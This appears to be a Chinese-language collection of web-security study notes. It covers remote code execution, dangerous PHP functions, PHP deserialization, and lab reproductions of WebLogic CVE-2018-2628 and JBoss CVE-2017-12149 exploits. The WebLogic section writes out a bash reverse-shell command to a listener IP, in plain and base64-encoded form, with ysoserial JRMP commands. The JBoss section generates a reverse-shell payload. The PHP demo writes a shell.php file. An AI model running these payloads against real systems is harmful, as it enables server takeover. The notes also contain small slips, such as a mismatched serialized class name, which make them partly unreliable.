- 远程代码执行原理介绍
原理
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。 远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
- PHP远程代码执行常用函数
PHP代码执行函数
1.evel():传入的参数必须为PHP代码,既需要以分号结尾。
2.assert():直接将传入的参数当成PHP代码执行,不需要以分号结尾,当然加上也可以。
3.preg_replace():#preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
#执行命令和上传文件参考assert函数(不需要加分号)。
#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
4.create_function():创建匿名函数执行代码。
5.array_map(): 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
6.call_user_func():传入的参数作为assert函数的参数。
7.call_user_func_array():将传入的参数作为数组的第一个值传递给assert函数。
8.array_filter():用回调函数过滤数组中的元素:array_filter(数组,函数)
9、uasort():
#php环境>=<5.6才能用
#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
- Php反序列化原理和案例
反序列化漏洞
由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
利用构造函数等
Magic function
php中有一类特殊的方法叫“Magic function”, 这里我们着重关注一下几个:
构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
析构函数__destruct():当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。
测试如下:
测试如下:
<?phpclass bmjoker{
var $test = '123';
function __wakeup()
{
echo "__wakeup()函数被调用";
echo "</br>";
}
function __construct()
{
echo "__construct()函数被调用";
echo "</br>";
}
function __destruct()
{
echo "__destruct()函数被调用";
echo "</br>";
}
}
$class2 = 'O:7:"bmjoker":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";?>
我们运行php文件,来证明函数被调用:
应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都被调用,如果这些函数里面包含的是恶意代码会怎么样呢?
利用场景
__wakeup() 或__destruct()
由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。
基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把$test的写入到shell.php中。为此我们写个php脚本:
<?php
class bmjoker{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class4 = new bmjoker();
$class4->test = "<?php phpinfo(); ?>";
$class4_ser = serialize($class4);
print_r($class4_ser);
print("<br>");
$class5_unser = unserialize($class4_ser);
print_r($class5_unser);
?>
由此得到序列化结果:
O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo();?>";}
- Weblogic反序列化攻防过程还原
一、漏洞成因
攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。
RMI:Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
java反序列化:指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
T3协议:WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。服务器实例将跟踪所连接的每个 Java 虚拟机(Java Virtual Machine,简称 JVM),并创建单个 T3 连接以承担 JVM 的所有流量。
二、漏洞识别
1、扫描端口,这里不知道为啥没有扫描出特定的T3协议端
- POC工具利用
检测出具有CVE-2018-2628漏洞
三、漏洞利用
启动JRMP Server,使得触发漏洞后的weblogic,可远程调用特定的程序:
攻击了一台存在漏洞的靶机时,靶机就会找这台具有JRMP服务的机器,寻找payload;
bash命令:bash -i >& /dev/tcp/192.168.236.128/7777 0>&1
由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
格式为:bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}
运行代码:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}’
说明开启成功,JRMP正在监听8888端口
执行代码:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.236.128:8888 | xxd -p | tr -d $‘\n’ && echo
将构造的数据,复制粘贴到EXP中的payload,并且修改IP为目标IP:
保存后,监听bash脚本中的7777端口,python运行这个EXP脚本:
一开始报错,是因为python默认的是python3运行,但是python3中print语法中得带有括号,所以报错,这里进行python2运行,成功运行:
kali这边接收到shell,且为root权限:
- Struts2命令执行攻防过程还原
一个请求在Struts2框架中的处理大概分为以下几个步骤:
1 客户端发送请求;
2 这个请求经过一系列的过滤器(Filter)(这些过滤器中有一个叫做ActionContextCleanUp的可选过滤器,这个过滤器对于Struts2和其他框架的集成很有帮助,例如:SiteMesh Plugin)
3 接着FilterDispatcher被调用,FilterDispatcher询问ActionMapper来决定这个请是否需要调用某个Action。FilterDispatcher的功能如下:
(1)执行Actions
(2)清除ActionContext
(3)维护静态内容
(4)清除request生命周期内的XWork的interceptors
4 如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy
5 ActionProxy通过Configuration Manager询问框架的配置文件,找到需要调用的Action类
6 ActionProxy创建一个ActionInvocation的实例。
7 ActionInvocation实例使用命名模式来调用,在调用Action的过程前后,涉及到相关拦截器(Intercepter)的调用。
8 一旦Action执行完毕,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可 能是另外的一个Action链)一个需要被表示的JSP或者FreeMarker的模版。在表示的过程中可以使用Struts2 框架中继承的标签。在这个过程中需要涉及到ActionMapper
- Jboss反序列化攻防过程还原远程命令执行漏洞
一。环境搭建
利用vulhub搭建Jboss
cd vulhub
cd jboss
cd CVE-2017-12149
docker-compose build (若出现镜像问题,直接执行下面命令)
docker-compose up -d
访问:http://192.168.5.100:8080/
搭建成功
二。漏洞复现思路
下载这个CVE漏洞的POC
nc监听这个受攻击主机的IP和端口
执行这个二进制文件,即POC利用
监听到该主机,漏洞复现成功
下载可执行的二进制文件----执行文件生成payload----监听—curl上传payload------监听成功
三。漏洞复现
访问该URL返回500,发现存在漏洞
首先下载该漏洞的POC
下载可执行的二进制文件
https://github.com/joaomatosf/JavaDeserH2HC
进入目录:
cd JavaDeserH2HC
在该目录下执行生成二进制payload文件:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 192.168.5.100:4444 (监听IP和端口)
生成后curl上传,另开一个窗口进行监听:
先监听:
再上传:
监听成功!
默认监听成功是无回显的,可以输入系统命令看看答案。